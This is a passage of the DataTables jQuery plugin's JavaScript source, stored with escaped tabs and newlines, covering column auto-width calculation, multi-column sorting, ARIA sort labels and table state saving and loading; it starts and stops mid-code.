)\n\t\t\t\t.append( $(oSettings.nTHead).clone( false ) )\n\t\t\t\t.append( $(oSettings.nTFoot).clone( false ) )\n\t\t\t\t.append( $('<tbody><tr/></tbody>') );\n\t\n\t\t\t// Remove any assigned widths from the footer (from scrolling)\n\t\t\ttmpTable.find('tfoot th, tfoot td').css('width', '');\n\t\n\t\t\tvar tr = tmpTable.find( 'tbody tr' );\n\t\n\t\t\t// Apply custom sizing to the cloned header\n\t\t\theaderCells = _fnGetUniqueThs( oSettings, tmpTable.find('thead')[0] );\n\t\n\t\t\tfor ( i=0 ; i<visibleColumns.length ; i++ ) {\n\t\t\t\tcolumn = columns[ visibleColumns[i] ];\n\t\n\t\t\t\theaderCells[i].style.width = column.sWidthOrig !== null && column.sWidthOrig !== '' ?\n\t\t\t\t\t_fnStringToCss( column.sWidthOrig ) :\n\t\t\t\t\t'';\n\t\t\t}\n\t\n\t\t\t// Find the widest cell for each column and put it into the table\n\t\t\tif ( oSettings.aoData.length ) {\n\t\t\t\tfor ( i=0 ; i<visibleColumns.length ; i++ ) {\n\t\t\t\t\tcolumnIdx = visibleColumns[i];\n\t\t\t\t\tcolumn = columns[ columnIdx ];\n\t\n\t\t\t\t\t$( _fnGetWidestNode( oSettings, columnIdx ) )\n\t\t\t\t\t\t.clone( false )\n\t\t\t\t\t\t.append( column.sContentPadding )\n\t\t\t\t\t\t.appendTo( tr );\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\t// Table has been built, attach to the document so we can work with it\n\t\t\ttmpTable.appendTo( tableContainer );\n\t\n\t\t\t// When scrolling (X or Y) we want to set the width of the table as \n\t\t\t// appropriate. However, when not scrolling leave the table width as it\n\t\t\t// is. This results in slightly different, but I think correct behaviour\n\t\t\tif ( scrollX && scrollXInner ) {\n\t\t\t\ttmpTable.width( scrollXInner );\n\t\t\t}\n\t\t\telse if ( scrollX ) {\n\t\t\t\ttmpTable.css( 'width', 'auto' );\n\t\n\t\t\t\tif ( tmpTable.width() < tableContainer.offsetWidth ) {\n\t\t\t\t\ttmpTable.width( tableContainer.offsetWidth );\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if ( scrollY ) {\n\t\t\t\ttmpTable.width( tableContainer.offsetWidth );\n\t\t\t}\n\t\t\telse if ( tableWidthAttr ) {\n\t\t\t\ttmpTable.width( tableWidthAttr );\n\t\t\t}\n\t\n\t\t\t// Take into account the y scrollbar\n\t\t\t_fnScrollingWidthAdjust( oSettings, tmpTable[0] );\n\t\n\t\t\t// Browsers need a bit of a hand when a width is assigned to any columns\n\t\t\t// when x-scrolling as they tend to collapse the table to the min-width,\n\t\t\t// even if we sent the column widths. So we need to keep track of what\n\t\t\t// the table width should be by summing the user given values, and the\n\t\t\t// automatic values\n\t\t\tif ( scrollX )\n\t\t\t{\n\t\t\t\tvar total = 0;\n\t\n\t\t\t\tfor ( i=0 ; i<visibleColumns.length ; i++ ) {\n\t\t\t\t\tcolumn = columns[ visibleColumns[i] ];\n\t\t\t\t\touterWidth = $(headerCells[i]).outerWidth();\n\t\n\t\t\t\t\ttotal += column.sWidthOrig === null ?\n\t\t\t\t\t\touterWidth :\n\t\t\t\t\t\tparseInt( column.sWidth, 10 ) + outerWidth - $(headerCells[i]).width();\n\t\t\t\t}\n\t\n\t\t\t\ttmpTable.width( _fnStringToCss( total ) );\n\t\t\t\ttable.style.width = _fnStringToCss( total );\n\t\t\t}\n\t\n\t\t\t// Get the width of each column in the constructed table\n\t\t\tfor ( i=0 ; i<visibleColumns.length ; i++ ) {\n\t\t\t\tcolumn = columns[ visibleColumns[i] ];\n\t\t\t\twidth = $(headerCells[i]).width();\n\t\n\t\t\t\tif ( width ) {\n\t\t\t\t\tcolumn.sWidth = _fnStringToCss( width );\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\ttable.style.width = _fnStringToCss( tmpTable.css('width') );\n\t\n\t\t\t// Finished with the table - ditch it\n\t\t\ttmpTable.remove();\n\t\t}\n\t\n\t\t// If there is a width attr, we want to attach an event listener which\n\t\t// allows the table sizing to automatically adjust when the window is\n\t\t// resized. Use the width attr rather than CSS, since we can't know if the\n\t\t// CSS is a relative value or absolute - DOM read is always px.\n\t\tif ( tableWidthAttr ) {\n\t\t\ttable.style.width = _fnStringToCss( tableWidthAttr );\n\t\n\t\t\tif ( ! oSettings._reszEvt ) {\n\t\t\t\t$(window).bind('resize.DT-'+oSettings.sInstance, _fnThrottle( function () {\n\t\t\t\t\t_fnAdjustColumnSizing( oSettings );\n\t\t\t\t} ) );\n\t\n\t\t\t\toSettings._reszEvt = true;\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\n\tfunction _fnThrottle( fn ) {\n\t\tvar\n\t\t\tfrequency = 200,\n\t\t\tlast,\n\t\t\ttimer;\n\t\n\t\treturn function () {\n\t\t\tvar\n\t\t\t\tnow = +new Date(),\n\t\t\t\targs = arguments;\n\t\n\t\t\tif ( last && now < last + frequency ) {\n\t\t\t\tclearTimeout( timer );\n\t\n\t\t\t\ttimer = setTimeout( function () {\n\t\t\t\t\tlast = now;\n\t\t\t\t\tfn();\n\t\t\t\t}, frequency );\n\t\t\t}\n\t\t\telse {\n\t\t\t\tlast = now;\n\t\t\t\tfn();\n\t\t\t}\n\t\t};\n\t}\n\t\n\t\n\t/**\n\t * Convert a CSS unit width to pixels (e.g. 2em)\n\t *  @param {string} width width to be converted\n\t *  @param {node} parent parent to get the with for (required for relative widths) - optional\n\t *  @returns {int} width in pixels\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnConvertToWidth ( width, parent )\n\t{\n\t\tif ( ! width ) {\n\t\t\treturn 0;\n\t\t}\n\t\n\t\tvar n = $('<div/>')\n\t\t\t.css( 'width', _fnStringToCss( width ) )\n\t\t\t.appendTo( parent || document.body );\n\t\n\t\tvar val = n[0].offsetWidth;\n\t\tn.remove();\n\t\n\t\treturn val;\n\t}\n\t\n\t\n\t/**\n\t * Adjust a table's width to take account of vertical scroll bar\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {node} n table node\n\t *  @memberof DataTable#oApi\n\t */\n\t\n\tfunction _fnScrollingWidthAdjust ( settings, n )\n\t{\n\t\tvar scroll = settings.oScroll;\n\t\n\t\tif ( scroll.sX || scroll.sY ) {\n\t\t\t// When y-scrolling only, we want to remove the width of the scroll bar\n\t\t\t// so the table + scroll bar will fit into the area available, otherwise\n\t\t\t// we fix the table at its current size with no adjustment\n\t\t\tvar correction = ! scroll.sX ? scroll.iBarWidth : 0;\n\t\t\tn.style.width = _fnStringToCss( $(n).outerWidth() - correction );\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Get the widest node\n\t *  @param {object} settings dataTables settings object\n\t *  @param {int} colIdx column of interest\n\t *  @returns {node} widest table node\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnGetWidestNode( settings, colIdx )\n\t{\n\t\tvar idx = _fnGetMaxLenString( settings, colIdx );\n\t\tif ( idx < 0 ) {\n\t\t\treturn null;\n\t\t}\n\t\n\t\tvar data = settings.aoData[ idx ];\n\t\treturn ! data.nTr ? // Might not have been created when deferred rendering\n\t\t\t$('<td/>').html( _fnGetCellData( settings, idx, colIdx, 'display' ) )[0] :\n\t\t\tdata.anCells[ colIdx ];\n\t}\n\t\n\t\n\t/**\n\t * Get the maximum strlen for each data column\n\t *  @param {object} settings dataTables settings object\n\t *  @param {int} colIdx column of interest\n\t *  @returns {string} max string length for each column\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnGetMaxLenString( settings, colIdx )\n\t{\n\t\tvar s, max=-1, maxIdx = -1;\n\t\n\t\tfor ( var i=0, ien=settings.aoData.length ; i<ien ; i++ ) {\n\t\t\ts = _fnGetCellData( settings, i, colIdx, 'display' )+'';\n\t\t\ts = s.replace( __re_html_remove, '' );\n\t\n\t\t\tif ( s.length > max ) {\n\t\t\t\tmax = s.length;\n\t\t\t\tmaxIdx = i;\n\t\t\t}\n\t\t}\n\t\n\t\treturn maxIdx;\n\t}\n\t\n\t\n\t/**\n\t * Append a CSS unit (only if required) to a string\n\t *  @param {string} value to css-ify\n\t *  @returns {string} value with css unit\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnStringToCss( s )\n\t{\n\t\tif ( s === null ) {\n\t\t\treturn '0px';\n\t\t}\n\t\n\t\tif ( typeof s == 'number' ) {\n\t\t\treturn s < 0 ?\n\t\t\t\t'0px' :\n\t\t\t\ts+'px';\n\t\t}\n\t\n\t\t// Check it has a unit character already\n\t\treturn s.match(/\\d$/) ?\n\t\t\ts+'px' :\n\t\t\ts;\n\t}\n\t\n\t\n\t/**\n\t * Get the width of a scroll bar in this browser being used\n\t *  @returns {int} width in pixels\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnScrollBarWidth ()\n\t{\n\t\t// On first run a static variable is set, since this is only needed once.\n\t\t// Subsequent runs will just use the previously calculated value\n\t\tif ( ! DataTable.__scrollbarWidth ) {\n\t\t\tvar inner = $('<p/>').css( {\n\t\t\t\twidth: '100%',\n\t\t\t\theight: 200,\n\t\t\t\tpadding: 0\n\t\t\t} )[0];\n\t\n\t\t\tvar outer = $('<div/>')\n\t\t\t\t.css( {\n\t\t\t\t\tposition: 'absolute',\n\t\t\t\t\ttop: 0,\n\t\t\t\t\tleft: 0,\n\t\t\t\t\twidth: 200,\n\t\t\t\t\theight: 150,\n\t\t\t\t\tpadding: 0,\n\t\t\t\t\toverflow: 'hidden',\n\t\t\t\t\tvisibility: 'hidden'\n\t\t\t\t} )\n\t\t\t\t.append( inner )\n\t\t\t\t.appendTo( 'body' );\n\t\n\t\t\tvar w1 = inner.offsetWidth;\n\t\t\touter.css( 'overflow', 'scroll' );\n\t\t\tvar w2 = inner.offsetWidth;\n\t\n\t\t\tif ( w1 === w2 ) {\n\t\t\t\tw2 = outer[0].clientWidth;\n\t\t\t}\n\t\n\t\t\touter.remove();\n\t\n\t\t\tDataTable.__scrollbarWidth = w1 - w2;\n\t\t}\n\t\n\t\treturn DataTable.__scrollbarWidth;\n\t}\n\t\n\t\n\t\n\tfunction _fnSortFlatten ( settings )\n\t{\n\t\tvar\n\t\t\ti, iLen, k, kLen,\n\t\t\taSort = [],\n\t\t\taiOrig = [],\n\t\t\taoColumns = settings.aoColumns,\n\t\t\taDataSort, iCol, sType, srcCol,\n\t\t\tfixed = settings.aaSortingFixed,\n\t\t\tfixedObj = $.isPlainObject( fixed ),\n\t\t\tnestedSort = [],\n\t\t\tadd = function ( a ) {\n\t\t\t\tif ( a.length && ! $.isArray( a[0] ) ) {\n\t\t\t\t\t// 1D array\n\t\t\t\t\tnestedSort.push( a );\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t// 2D array\n\t\t\t\t\tnestedSort.push.apply( nestedSort, a );\n\t\t\t\t}\n\t\t\t};\n\t\n\t\t// Build the sort array, with pre-fix and post-fix options if they have been\n\t\t// specified\n\t\tif ( $.isArray( fixed ) ) {\n\t\t\tadd( fixed );\n\t\t}\n\t\n\t\tif ( fixedObj && fixed.pre ) {\n\t\t\tadd( fixed.pre );\n\t\t}\n\t\n\t\tadd( settings.aaSorting );\n\t\n\t\tif (fixedObj && fixed.post ) {\n\t\t\tadd( fixed.post );\n\t\t}\n\t\n\t\tfor ( i=0 ; i<nestedSort.length ; i++ )\n\t\t{\n\t\t\tsrcCol = nestedSort[i][0];\n\t\t\taDataSort = aoColumns[ srcCol ].aDataSort;\n\t\n\t\t\tfor ( k=0, kLen=aDataSort.length ; k<kLen ; k++ )\n\t\t\t{\n\t\t\t\tiCol = aDataSort[k];\n\t\t\t\tsType = aoColumns[ iCol ].sType || 'string';\n\t\n\t\t\t\taSort.push( {\n\t\t\t\t\tsrc:       srcCol,\n\t\t\t\t\tcol:       iCol,\n\t\t\t\t\tdir:       nestedSort[i][1],\n\t\t\t\t\tindex:     nestedSort[i][2],\n\t\t\t\t\ttype:      sType,\n\t\t\t\t\tformatter: DataTable.ext.type.order[ sType+\"-pre\" ]\n\t\t\t\t} );\n\t\t\t}\n\t\t}\n\t\n\t\treturn aSort;\n\t}\n\t\n\t/**\n\t * Change the order of the table\n\t *  @param {object} oSettings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t *  @todo This really needs split up!\n\t */\n\tfunction _fnSort ( oSettings )\n\t{\n\t\tvar\n\t\t\ti, ien, iLen, j, jLen, k, kLen,\n\t\t\tsDataType, nTh,\n\t\t\taiOrig = [],\n\t\t\toExtSort = DataTable.ext.type.order,\n\t\t\taoData = oSettings.aoData,\n\t\t\taoColumns = oSettings.aoColumns,\n\t\t\taDataSort, data, iCol, sType, oSort,\n\t\t\tformatters = 0,\n\t\t\tsortCol,\n\t\t\tdisplayMaster = oSettings.aiDisplayMaster,\n\t\t\taSort = _fnSortFlatten( oSettings );\n\t\n\t\t// Resolve any column types that are unknown due to addition or invalidation\n\t\t// @todo Can this be moved into a 'data-ready' handler which is called when\n\t\t//   data is going to be used in the table?\n\t\t_fnColumnTypes( oSettings );\n\t\n\t\tfor ( i=0, ien=aSort.length ; i<ien ; i++ ) {\n\t\t\tsortCol = aSort[i];\n\t\n\t\t\t// Track if we can use the fast sort algorithm\n\t\t\tif ( sortCol.formatter ) {\n\t\t\t\tformatters++;\n\t\t\t}\n\t\n\t\t\t// Load the data needed for the sort, for each cell\n\t\t\t_fnSortData( oSettings, sortCol.col );\n\t\t}\n\t\n\t\t/* No sorting required if server-side or no sorting array */\n\t\tif ( _fnDataSource( oSettings ) != 'ssp' && aSort.length !== 0 )\n\t\t{\n\t\t\t// Create a value - key array of the current row positions such that we can use their\n\t\t\t// current position during the sort, if values match, in order to perform stable sorting\n\t\t\tfor ( i=0, iLen=displayMaster.length ; i<iLen ; i++ ) {\n\t\t\t\taiOrig[ displayMaster[i] ] = i;\n\t\t\t}\n\t\n\t\t\t/* Do the sort - here we want multi-column sorting based on a given data source (column)\n\t\t\t * and sorting function (from oSort) in a certain direction. It's reasonably complex to\n\t\t\t * follow on it's own, but this is what we want (example two column sorting):\n\t\t\t *  fnLocalSorting = function(a,b){\n\t\t\t *    var iTest;\n\t\t\t *    iTest = oSort['string-asc']('data11', 'data12');\n\t\t\t *      if (iTest !== 0)\n\t\t\t *        return iTest;\n\t\t\t *    iTest = oSort['numeric-desc']('data21', 'data22');\n\t\t\t *    if (iTest !== 0)\n\t\t\t *      return iTest;\n\t\t\t *    return oSort['numeric-asc']( aiOrig[a], aiOrig[b] );\n\t\t\t *  }\n\t\t\t * Basically we have a test for each sorting column, if the data in that column is equal,\n\t\t\t * test the next column. If all columns match, then we use a numeric sort on the row\n\t\t\t * positions in the original data array to provide a stable sort.\n\t\t\t *\n\t\t\t * Note - I know it seems excessive to have two sorting methods, but the first is around\n\t\t\t * 15% faster, so the second is only maintained for backwards compatibility with sorting\n\t\t\t * methods which do not have a pre-sort formatting function.\n\t\t\t */\n\t\t\tif ( formatters === aSort.length ) {\n\t\t\t\t// All sort types have formatting functions\n\t\t\t\tdisplayMaster.sort( function ( a, b ) {\n\t\t\t\t\tvar\n\t\t\t\t\t\tx, y, k, test, sort,\n\t\t\t\t\t\tlen=aSort.length,\n\t\t\t\t\t\tdataA = aoData[a]._aSortData,\n\t\t\t\t\t\tdataB = aoData[b]._aSortData;\n\t\n\t\t\t\t\tfor ( k=0 ; k<len ; k++ ) {\n\t\t\t\t\t\tsort = aSort[k];\n\t\n\t\t\t\t\t\tx = dataA[ sort.col ];\n\t\t\t\t\t\ty = dataB[ sort.col ];\n\t\n\t\t\t\t\t\ttest = x<y ? -1 : x>y ? 1 : 0;\n\t\t\t\t\t\tif ( test !== 0 ) {\n\t\t\t\t\t\t\treturn sort.dir === 'asc' ? test : -test;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\n\t\t\t\t\tx = aiOrig[a];\n\t\t\t\t\ty = aiOrig[b];\n\t\t\t\t\treturn x<y ? -1 : x>y ? 1 : 0;\n\t\t\t\t} );\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// Depreciated - remove in 1.11 (providing a plug-in option)\n\t\t\t\t// Not all sort types have formatting methods, so we have to call their sorting\n\t\t\t\t// methods.\n\t\t\t\tdisplayMaster.sort( function ( a, b ) {\n\t\t\t\t\tvar\n\t\t\t\t\t\tx, y, k, l, test, sort, fn,\n\t\t\t\t\t\tlen=aSort.length,\n\t\t\t\t\t\tdataA = aoData[a]._aSortData,\n\t\t\t\t\t\tdataB = aoData[b]._aSortData;\n\t\n\t\t\t\t\tfor ( k=0 ; k<len ; k++ ) {\n\t\t\t\t\t\tsort = aSort[k];\n\t\n\t\t\t\t\t\tx = dataA[ sort.col ];\n\t\t\t\t\t\ty = dataB[ sort.col ];\n\t\n\t\t\t\t\t\tfn = oExtSort[ sort.type+\"-\"+sort.dir ] || oExtSort[ \"string-\"+sort.dir ];\n\t\t\t\t\t\ttest = fn( x, y );\n\t\t\t\t\t\tif ( test !== 0 ) {\n\t\t\t\t\t\t\treturn test;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\n\t\t\t\t\tx = aiOrig[a];\n\t\t\t\t\ty = aiOrig[b];\n\t\t\t\t\treturn x<y ? -1 : x>y ? 1 : 0;\n\t\t\t\t} );\n\t\t\t}\n\t\t}\n\t\n\t\t/* Tell the draw function that we have sorted the data */\n\t\toSettings.bSorted = true;\n\t}\n\t\n\t\n\tfunction _fnSortAria ( settings )\n\t{\n\t\tvar label;\n\t\tvar nextSort;\n\t\tvar columns = settings.aoColumns;\n\t\tvar aSort = _fnSortFlatten( settings );\n\t\tvar oAria = settings.oLanguage.oAria;\n\t\n\t\t// ARIA attributes - need to loop all columns, to update all (removing old\n\t\t// attributes as needed)\n\t\tfor ( var i=0, iLen=columns.length ; i<iLen ; i++ )\n\t\t{\n\t\t\tvar col = columns[i];\n\t\t\tvar asSorting = col.asSorting;\n\t\t\tvar sTitle = col.sTitle.replace( /<.*?>/g, \"\" );\n\t\t\tvar jqTh = $(col.nTh).removeAttr('aria-sort');\n\t\n\t\t\t/* In ARIA only the first sorting column can be marked as sorting - no multi-sort option */\n\t\t\tif ( col.bSortable ) {\n\t\t\t\tif ( aSort.length > 0 && aSort[0].col == i ) {\n\t\t\t\t\tjqTh.attr('aria-sort', aSort[0].dir==\"asc\" ? \"ascending\" : \"descending\" );\n\t\t\t\t\tnextSort = asSorting[ aSort[0].index+1 ] || asSorting[0];\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tnextSort = asSorting[0];\n\t\t\t\t}\n\t\n\t\t\t\tlabel = sTitle + ( nextSort === \"asc\" ?\n\t\t\t\t\toAria.sSortAscending :\n\t\t\t\t\toAria.sSortDescending\n\t\t\t\t);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tlabel = sTitle;\n\t\t\t}\n\t\n\t\t\tjqTh.attr('aria-label', label);\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Function to run on user sort request\n\t *  @param {object} settings dataTables settings object\n\t *  @param {node} attachTo node to attach the handler to\n\t *  @param {int} colIdx column sorting index\n\t *  @param {boolean} [append=false] Append the requested sort to the existing\n\t *    sort if true (i.e. multi-column sort)\n\t *  @param {function} [callback] callback function\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnSortListener ( settings, colIdx, append, callback )\n\t{\n\t\tvar col = settings.aoColumns[ colIdx ];\n\t\tvar sorting = settings.aaSorting;\n\t\tvar asSorting = col.asSorting;\n\t\tvar nextSortIdx;\n\t\tvar next = function ( a ) {\n\t\t\tvar idx = a._idx;\n\t\t\tif ( idx === undefined ) {\n\t\t\t\tidx = $.inArray( a[1], asSorting );\n\t\t\t}\n\t\n\t\t\treturn idx+1 >= asSorting.length ? 0 : idx+1;\n\t\t};\n\t\n\t\t// If appending the sort then we are multi-column sorting\n\t\tif ( append && settings.oFeatures.bSortMulti ) {\n\t\t\t// Are we already doing some kind of sort on this column?\n\t\t\tvar sortIdx = $.inArray( colIdx, _pluck(sorting, '0') );\n\t\n\t\t\tif ( sortIdx !== -1 ) {\n\t\t\t\t// Yes, modify the sort\n\t\t\t\tnextSortIdx = next( sorting[sortIdx] );\n\t\n\t\t\t\tsorting[sortIdx][1] = asSorting[ nextSortIdx ];\n\t\t\t\tsorting[sortIdx]._idx = nextSortIdx;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// No sort on this column yet\n\t\t\t\tsorting.push( [ colIdx, asSorting[0], 0 ] );\n\t\t\t\tsorting[sorting.length-1]._idx = 0;\n\t\t\t}\n\t\t}\n\t\telse if ( sorting.length && sorting[0][0] == colIdx ) {\n\t\t\t// Single column - already sorting on this column, modify the sort\n\t\t\tnextSortIdx = next( sorting[0] );\n\t\n\t\t\tsorting.length = 1;\n\t\t\tsorting[0][1] = asSorting[ nextSortIdx ];\n\t\t\tsorting[0]._idx = nextSortIdx;\n\t\t}\n\t\telse {\n\t\t\t// Single column - sort only on this column\n\t\t\tsorting.length = 0;\n\t\t\tsorting.push( [ colIdx, asSorting[0] ] );\n\t\t\tsorting[0]._idx = 0;\n\t\t}\n\t\n\t\t// Run the sort by calling a full redraw\n\t\t_fnReDraw( settings );\n\t\n\t\t// callback used for async user interaction\n\t\tif ( typeof callback == 'function' ) {\n\t\t\tcallback( settings );\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Attach a sort handler (click) to a node\n\t *  @param {object} settings dataTables settings object\n\t *  @param {node} attachTo node to attach the handler to\n\t *  @param {int} colIdx column sorting index\n\t *  @param {function} [callback] callback function\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnSortAttachListener ( settings, attachTo, colIdx, callback )\n\t{\n\t\tvar col = settings.aoColumns[ colIdx ];\n\t\n\t\t_fnBindAction( attachTo, {}, function (e) {\n\t\t\t/* If the column is not sortable - don't to anything */\n\t\t\tif ( col.bSortable === false ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\n\t\t\t_fnProcessingDisplay( settings, true );\n\t\n\t\t\t// Use a timeout to allow the processing display to be shown.\n\t\t\tsetTimeout( function() {\n\t\t\t\t_fnSortListener( settings, colIdx, e.shiftKey, callback );\n\t\n\t\t\t\t// In server-side processing, the draw callback will remove the\n\t\t\t\t// processing display\n\t\t\t\tif ( _fnDataSource( settings ) !== 'ssp' ) {\n\t\t\t\t\t_fnProcessingDisplay( settings, false );\n\t\t\t\t}\n\t\t\t}, 0 );\n\t\t} );\n\t}\n\t\n\t\n\t/**\n\t * Set the sorting classes on table's body, Note: it is safe to call this function\n\t * when bSort and bSortClasses are false\n\t *  @param {object} oSettings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnSortingClasses( settings )\n\t{\n\t\tvar oldSort = settings.aLastSort;\n\t\tvar sortClass = settings.oClasses.sSortColumn;\n\t\tvar sort = _fnSortFlatten( settings );\n\t\tvar features = settings.oFeatures;\n\t\tvar i, ien, colIdx;\n\t\n\t\tif ( features.bSort && features.bSortClasses ) {\n\t\t\t// Remove old sorting classes\n\t\t\tfor ( i=0, ien=oldSort.length ; i<ien ; i++ ) {\n\t\t\t\tcolIdx = oldSort[i].src;\n\t\n\t\t\t\t// Remove column sorting\n\t\t\t\t$( _pluck( settings.aoData, 'anCells', colIdx ) )\n\t\t\t\t\t.removeClass( sortClass + (i<2 ? i+1 : 3) );\n\t\t\t}\n\t\n\t\t\t// Add new column sorting\n\t\t\tfor ( i=0, ien=sort.length ; i<ien ; i++ ) {\n\t\t\t\tcolIdx = sort[i].src;\n\t\n\t\t\t\t$( _pluck( settings.aoData, 'anCells', colIdx ) )\n\t\t\t\t\t.addClass( sortClass + (i<2 ? i+1 : 3) );\n\t\t\t}\n\t\t}\n\t\n\t\tsettings.aLastSort = sort;\n\t}\n\t\n\t\n\t// Get the data to sort a column, be it from cache, fresh (populating the\n\t// cache), or from a sort formatter\n\tfunction _fnSortData( settings, idx )\n\t{\n\t\t// Custom sorting function - provided by the sort data type\n\t\tvar column = settings.aoColumns[ idx ];\n\t\tvar customSort = DataTable.ext.order[ column.sSortDataType ];\n\t\tvar customData;\n\t\n\t\tif ( customSort ) {\n\t\t\tcustomData = customSort.call( settings.oInstance, settings, idx,\n\t\t\t\t_fnColumnIndexToVisible( settings, idx )\n\t\t\t);\n\t\t}\n\t\n\t\t// Use / populate cache\n\t\tvar row, cellData;\n\t\tvar formatter = DataTable.ext.type.order[ column.sType+\"-pre\" ];\n\t\n\t\tfor ( var i=0, ien=settings.aoData.length ; i<ien ; i++ ) {\n\t\t\trow = settings.aoData[i];\n\t\n\t\t\tif ( ! row._aSortData ) {\n\t\t\t\trow._aSortData = [];\n\t\t\t}\n\t\n\t\t\tif ( ! row._aSortData[idx] || customSort ) {\n\t\t\t\tcellData = customSort ?\n\t\t\t\t\tcustomData[i] : // If there was a custom sort function, use data from there\n\t\t\t\t\t_fnGetCellData( settings, i, idx, 'sort' );\n\t\n\t\t\t\trow._aSortData[ idx ] = formatter ?\n\t\t\t\t\tformatter( cellData ) :\n\t\t\t\t\tcellData;\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\n\t\n\t/**\n\t * Save the state of a table\n\t *  @param {object} oSettings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnSaveState ( oSettings )\n\t{\n\t\tif ( !oSettings.oFeatures.bStateSave || oSettings.bDestroying )\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\n\t\t/* Store the interesting variables */\n\t\tvar i, iLen;\n\t\tvar oState = {\n\t\t\t\"iCreate\":      new Date().getTime(),\n\t\t\t\"iStart\":       oSettings._iDisplayStart,\n\t\t\t\"iLength\":      oSettings._iDisplayLength,\n\t\t\t\"aaSorting\":    $.extend( true, [], oSettings.aaSorting ),\n\t\t\t\"oSearch\":      $.extend( true, {}, oSettings.oPreviousSearch ),\n\t\t\t\"aoSearchCols\": $.extend( true, [], oSettings.aoPreSearchCols ),\n\t\t\t\"abVisCols\":    []\n\t\t};\n\t\n\t\tfor ( i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )\n\t\t{\n\t\t\toState.abVisCols.push( oSettings.aoColumns[i].bVisible );\n\t\t}\n\t\n\t\t_fnCallbackFire( oSettings, \"aoStateSaveParams\", 'stateSaveParams', [oSettings, oState] );\n\t\n\t\toSettings.fnStateSaveCallback.call( oSettings.oInstance, oSettings, oState );\n\t}\n\t\n\t\n\t/**\n\t * Attempt to load a saved table state\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {object} oInit DataTables init object so we can override settings\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnLoadState ( oSettings, oInit )\n\t{\n\t\tvar i, ien;\n\t\tvar columns = oSettings.aoColumns;\n\t\n\t\tif ( !oSettings.oFeatures.bStateSave )\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\n\t\tvar oData = oSettings.fnStateLoadCallback.call( oSettings.oInstance, oSettings );\n\t\tif ( !oData )\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\n\t\t/* Allow custom and plug-in manipulation functions to alter the saved data set and\n\t\t * cancelling of loading by returning false\n\t\t */\n\t\tvar abStateLoad = _fnCallbackFire( oSettings, 'aoStateLoadParams', 'stateLoadParams', [oSettings, oData] );\n\t\tif ( $.inArray( false, abStateLoad ) !== -1 )\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\n\t\t/* Reject old data */\n\t\tif ( oData.iCreate < new Date().getTime() - (oSettings.iStateDuration*1000) ) {\n\t\t\treturn;\n\t\t}\n\t\n\t\t// Number of columns have changed - all bets are off, no restore of settings\n\t\tif ( columns.length !== oData.aoSearchCols.length ) {\n\t\t\treturn;\n\t\t}\n\t\n\t\t/* Store the saved state so it might be accessed at any time */\n\t\toSettings.oLoadedState = $.extend( true, {}, oData );\n\t\n\t\t/* Restore key features */\n\t\toSettings._iDisplayStart    = oData.iStart;\n\t\toSettings.iInitDisplayStart = oData.iStart;\n\t\toSettings._iDisplayLength   = oData.iLength;\n\t\toSettings.aaSorting         = [];\n\t\n\t\tvar savedSort = oData.aaSorting;\n\t\tfor ( i=0, ien=savedSort.length ; i<ien ; i++ ) {\n\t\t\toSettings.aaSorting.push( savedSort[i][0] >= columns.length ?\n\t\t\t\t[ 0, savedSort[i][1] ] :\n\t\t\t\tsavedSort[i]\n\t\t\t);\n\t\t}\n\t\n\t\t/* Search filtering  */\n\t\t$.extend( oSettings.oPreviousSearch, oData.oSearch );\n\t\t$.extend( true, oSettings.aoPreSearchCols, oData.aoSearchCols );\n\t\n\t\t/* Column visibility state */\n\t\tfor ( i=0, ien=oData.abVisCols.length ; i<ien ; i++ ) {\n\t\t\tcolumns[i].bVisible = oData.abVisCols[i];\n\t\t}\n\t\n\t\t_fnCallbackFire( oSettings, 'aoStateLoaded', 'stateLoaded', [oSettings, oData] );\n\t}\n\t\n\t\n\t\n\t/**\n\t * Return the settings object for a particular table\n\t *  @param {node} table table we are using as a dataTable\n\t *  @returns {object} Settings object - or null if not found\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnSettingsFromNode ( table )\n\t{\n\t\tvar settings = DataTable.settings;\n\t\tvar idx = $.inArray( table, _pluck( settings, 'nTable' ) );\n\t\n\t\treturn idx !== -1 ?\n\t\t\tsettings[ idx ] :\n\t\t\tnull;\n\t}\n\t\n\t\n\t/**\n\t * Log an error message\n\t *  @param {object} settings dataTables settings object\n\t *  @param {int} level log error messages, or display them to the user\n\t *  @param {string} msg error message\n\t *  @param {int} tn Technical note id to get more information about the error.\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnLog( settings, level, msg, tn )\n\t{\n\t\tmsg = 'DataTables warning: '+\n\t\t\t(settings!==null ? 'table id='+settings.sTableId+' - ' : '')+msg;\n\t\n\t\tif ( tn ) {\n\t\t\tmsg += '. For 